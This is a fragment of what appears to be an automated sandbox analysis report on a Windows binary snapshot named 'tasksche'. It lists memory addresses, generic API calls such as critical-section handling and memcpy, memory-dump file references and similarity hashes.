                                                                                                                                                                0x00401a19
                                                                                                                                                                0x004019ee
                                                                                                                                                                0x004019f2
                                                                                                                                                                0x00401a08
                                                                                                                                                                0x00401a10
                                                                                                                                                                0x00401a11
                                                                                                                                                                0x00401a1d
                                                                                                                                                                0x00401a2c
                                                                                                                                                                0x00401a3a
                                                                                                                                                                0x00401a3e
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00401a3e
                                                                                                                                                                0x00401a13
                                                                                                                                                                0x00000000

                                                                                                                                                                APIs
                                                                                                                                                                • EnterCriticalSection.KERNEL32(?,00000000,?,?,00401642,?,?,?,?), ref: 004019F2
                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A13
                                                                                                                                                                • LeaveCriticalSection.KERNEL32(?,?,?,00401642,?,?,?,?), ref: 00401A1D
                                                                                                                                                                • memcpy.MSVCRT(?,?,?,?,?,00401642,?,?,?,?), ref: 00401A2C
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: CriticalSection$Leave$Entermemcpy
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 3435569088-0
                                                                                                                                                                • Opcode ID: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                                                                                                                                                                • Instruction ID: 582611ac2dab466912340a9d1f37a03f8b1d3421f3d1388c7c0078807ea36f1a
                                                                                                                                                                • Opcode Fuzzy Hash: fd5125ef58b43d2b94afe930c36afa05085028d191ff952fa05313044055aa85
                                                                                                                                                                • Instruction Fuzzy Hash: 7FF0A432200204FFEB119F90DD05FAA3769EF44710F008439F945AA1A0D7B5A854DB65
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%